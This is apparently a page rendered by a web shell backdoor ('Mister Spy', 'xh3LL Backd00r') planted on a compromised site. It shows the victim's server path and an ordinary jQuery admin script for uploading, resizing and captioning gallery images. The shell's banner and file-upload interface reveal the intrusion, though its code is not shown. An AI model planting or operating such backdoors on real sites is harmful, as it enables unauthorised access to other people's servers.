Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/js/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/js/resize_img.js

$(document).ready(function() {
	$('.img-upload').change(function() {
		uploadPhotos(this, $(this).attr('data-id'));
	});
	
	$('#btn-submit').click(function() {
		var data = new FormData($("form[id*='uploadImageForm']")[0]); 
		var count = 1;
		$('.hi-url').each(function() {
			var id = $(this).attr('data-id');
			var blob = dataURLToBlob($(this).val());
			data.append('Imagen-' + count, blob);
			data.append('Epigrafe-' + count, $('#epigrafe-' + id).val());
			count++;
		});
		data.append('Cantidad', count);
		
		$.ajax({
            url: 'json-galleryimage-add.php',
            data: data,
            cache: false,
            contentType: false,
            processData: false,
            type: 'POST',
            success: function(data){
    			window.location.href = $('#btn-back').attr('href');
            }
        });
	});
});

window.RemoveImage = function(id) {
	$('#hd-' + id).remove();
	$("#image-" + id).attr('src', 'images/upload-icon.png');
	$("#epigrafe-" + id).val('');
	$("#btn-rm-" + id).prop('disabled', true);
}

window.RemoveSavedImage = function(id) {
	swal({
		title: "Delete Image ",
		text: "Do you want to delete the image?",
		type: "warning",
		showCancelButton: true,
		confirmButtonClass: 'btn-danger',
		confirmButtonText: "Yes, delete it!",
		closeOnConfirm: false
	}, function () {
		var d = {
            	Submitted: 1,
            	IdImagen: id
            };
		$.ajax({
            url: 'json-galleryimage-del.php',
            data: d,
            dataType: 'json',
            type: 'POST',
            success: function(data){
    			$('#img-container-' + id).remove();
				swal("Deleted!", "The image has been deleted.", "success");
            }
        });
		
	});
}

window.ActualizarEpigrafe = function(id, epigrafe) {
	var d = {
			Submitted: 1,
			IdImagen: id,
			Epigrafe: epigrafe
		};
	
	if (epigrafe.length > 100)
		$('#img-container-' + id + ' span.epi').html(epigrafe.substring(0, 97) + '...');
	else
		$('#img-container-' + id + ' span.epi').html(epigrafe);
	$('#btn-ed-' + id).html('<i class="fa fa-edit"></i>');
	$.ajax({
		url: 'json-galleryimage-mod.php',
		data: d,
		dataType: 'json',
		type: 'POST',
		success: function(data){
			if (epigrafe.length > 100)
				epigrafe = epigrafe.substring(0, 97) + '...';
			$('#img-container-' + id + ' span.epi').html(epigrafe);
			$('#btn-ed-' + id).html('<i class="fa fa-edit"></i>');
		}
	});
}

window.ActualizarAprobado = function(id, aprobado) {
	var txt = '<i class="fa fa-check"></i> Approved';
	var clss= 'text-success';
	if (aprobado == '0') {
		txt = '<i class="fa fa-warning"></i> Not approved';
		clss= 'text-danger';
	}
	var d = {
			Submitted: 1,
			IdImagen: id,
			Aprobado: aprobado
		};
	$('#img-container-' + id + ' span.app').html(txt);
	$('#img-container-' + id + ' span.app').removeClass('text-success');
	$('#img-container-' + id + ' span.app').removeClass('text-danger');
	$('#img-container-' + id + ' span.app').addClass(clss);
	$('#btn-ap-' + id).html('<i class="fa fa-edit"></i>');
	$.ajax({
		url: 'json-galleryimage-aprobado-mod.php',
		data: d,
		dataType: 'json',
		type: 'POST',
		success: function(data){
			$('#img-container-' + id + ' span.app').html(txt);
			$('#btn-ap-' + id).html('<i class="fa fa-edit"></i>');
		}
	});
}

var maxSize = 1280;

window.uploadPhotos = function(url, number){
    // Read in file
    var file = url.files[0];

    // Ensure it's an image
    if(file.type.match(/image.*/)) {
        console.log('An image has been loaded');

        // Load the image
        var reader = new FileReader();
        reader.onload = function (readerEvent) {
            var image = new Image();
            image.onload = function (imageEvent) {
                // Resize the image
                var canvas = document.createElement('canvas'),
                    max_size = maxSize,// TODO : pull max size from a site config
                    width = image.width,
                    height = image.height;
                if (width > height) {
                    if (width > max_size) {
                        height *= max_size / width;
                        width = max_size;
                    }
                } else {
                    if (height > max_size) {
                        width *= max_size / height;
                        height = max_size;
                    }
                }
                canvas.width = width;
                canvas.height = height;
                canvas.getContext('2d').drawImage(image, 0, 0, width, height);
                var type = 'image/jpeg';
                if (image.src.includes('png')) {
                	type = 'image/png';
                }
                var dataUrl = canvas.toDataURL(type);
                var resizedImage = dataURLToBlob(dataUrl);
                $.event.trigger({
                    type: "imageResized",
                    blob: resizedImage,
                    url: dataUrl, 
                    element: number
                });
            }
            image.src = readerEvent.target.result;
        }
        reader.readAsDataURL(file);
    }
};

/* Utility function to convert a canvas to a BLOB */
var dataURLToBlob = function(dataURL) {
    var BASE64_MARKER = ';base64,';
    if (dataURL.indexOf(BASE64_MARKER) == -1) {
        var parts = dataURL.split(',');
        var contentType = parts[0].split(':')[1];
        var raw = parts[1];

        return new Blob([raw], {type: contentType});
    }

    var parts = dataURL.split(BASE64_MARKER);
    var contentType = parts[0].split(':')[1];
    var raw = window.atob(parts[1]);
    var rawLength = raw.length;

    var uInt8Array = new Uint8Array(rawLength);

    for (var i = 0; i < rawLength; ++i) {
        uInt8Array[i] = raw.charCodeAt(i);
    }

    return new Blob([uInt8Array], {type: contentType});
}
/* End Utility function to convert a canvas to a BLOB      */

/* Handle image resized events */
$(document).on("imageResized", function (event) {
    $('#hd-' + event.element).remove();
    
    if (event.blob && event.url) {
    	OpenCropper(event.element, event.url);
    }
});


Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat